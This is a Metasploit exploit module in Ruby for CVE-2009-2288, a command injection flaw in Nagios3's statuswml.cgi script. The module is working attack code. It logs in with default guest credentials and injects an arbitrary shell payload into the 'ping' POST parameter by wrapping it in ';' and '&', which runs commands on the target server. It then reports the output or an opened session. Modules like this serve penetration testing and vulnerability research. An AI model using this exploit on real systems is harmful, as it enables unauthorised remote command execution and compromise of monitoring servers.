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115 | ##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Nagios3 statuswml.cgi Ping Command Execution',
'Description' => %q{
This module abuses a metacharacter injection vulnerability in the
Nagios3 statuswml.cgi script. This flaw is triggered when shell
metacharacters are present in the parameters to the ping and
traceroute commands.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2009-2288' ],
[ 'OSVDB', '55281'],
],
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Privileged' => false,
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
'BadChars' => '<>',
'Compat' =>
{
'RequiredCmd' => 'generic perl ruby bash telnet',
}
},
'Targets' =>
[
[ 'Automatic Target', { }]
],
'DefaultTarget' => 0))
register_options(
[
OptString.new('URI', [true, "The full URI path to statuswml.cgi", "/nagios3/cgi-bin/statuswml.cgi"]),
OptString.new('USER', [true, "The username to authenticate with", "guest"]),
OptString.new('PASS', [true, "The password to authenticate with", "guest"]),
], self.class)
end
def exploit
print_status("Sending request to http://#{rhost}:#{rport}#{datastore['URI']}")
res = send_request_cgi({
'method' => 'POST',
'uri' => datastore['URI'],
'headers' => { 'Authorization' => 'Basic ' + Rex::Text.encode_base64("#{datastore['USER']}:#{datastore['PASS']}") },
'vars_post' =>
{
'ping' => ';' + payload.encoded + '&'
}
}, 10)
if(not res)
if session_created?
print_status("Session created, enjoy!")
else
print_error("No response from the server")
end
return
end
if(res.code == 401)
print_error("Please specify correct values for USER and PASS")
return
end
if(res.code == 404)
print_error("Please specify the correct path to statuswml.cgi in the URI parameter")
return
end
if(res.body =~ /Invalid host name/)
print_error("This server has already been patched")
return
end
if(res.body =~ /p mode='nowrap'>(.*)<\/p>/smi)
print_status("Displaying command response")
out = $1
print_line(out.gsub(/<b>|<\/b>|<br.>/, ''))
return
end
print_status("Unknown response, displaying raw HTML")
print_line(res.body)
end
end
|
